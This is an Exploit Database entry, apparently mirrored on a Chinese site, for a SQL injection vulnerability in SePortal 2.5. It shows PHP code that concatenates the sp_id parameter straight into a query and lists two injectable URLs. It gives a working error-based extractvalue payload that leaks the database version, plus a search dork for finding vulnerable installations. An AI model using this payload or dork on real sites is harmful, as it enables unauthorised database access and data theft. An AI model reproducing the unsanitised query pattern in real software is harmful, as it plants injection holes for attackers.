SePortal 2.5 – SQL Injection (2)

• Exploit Database
• 10 阅读

• 作者： jsass
  日期： 2014-03-19
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/32359/

• ####################################################################
  Exploit: SePortal 2.5 Sql Injection Vulnerabilty
  Author: jsass
  Date: 19\03\2014
  Contact Twitter: @Kwsecurity
  Script: http://www.seportal.org/
  version: 2.5
  Tested on: Linux Ubuntu 12.4 & Windows 7
  Dork : "Powered by SePortal 2.5"
  
  //** Searching AndAnalysis By Kuwaity Crew **\\
  
  ####################################################################
  SQL INJECTION Vulnerabilty
  
   code :
   $main_template = 'staticpages';
  
  define('GET_CACHES', 1);
  define('ROOT_PATH', './');
  define('GET_USER_ONLINE', 1);
  define('GET_STATS_BOX', 1);
  include(ROOT_PATH.'global.php');
  require(ROOT_PATH.'includes/sessions.php');
  
  $sql = "SELECT *
  FROM ".STATICPAGE_TABLE."
  WHERE sp_id = '".$sp_id."'";
  $result = $site_db->query($sql);
  
  files:
  staticpages.php?sp_id=(inject here)
  print.php?mode=staticpage&client=printer&sp_id=(inject here)
  
  example:
  
  http://localhost/seportal2.5/staticpages.php?sp_id=1%27%20%20and+extractvalue%28rand%28%29,concat%280x7e,version%28%29%29%29--%20-
  
  //////////////////////////////////////////////////////////////////////////////////
   
   
   
   
   Greats: dzkabyle & Mr.Exit & massacreur & rDNix & hamza & Q8 Spy & الشبح الدموي & medo medo & sec4ever.com & is-sec.com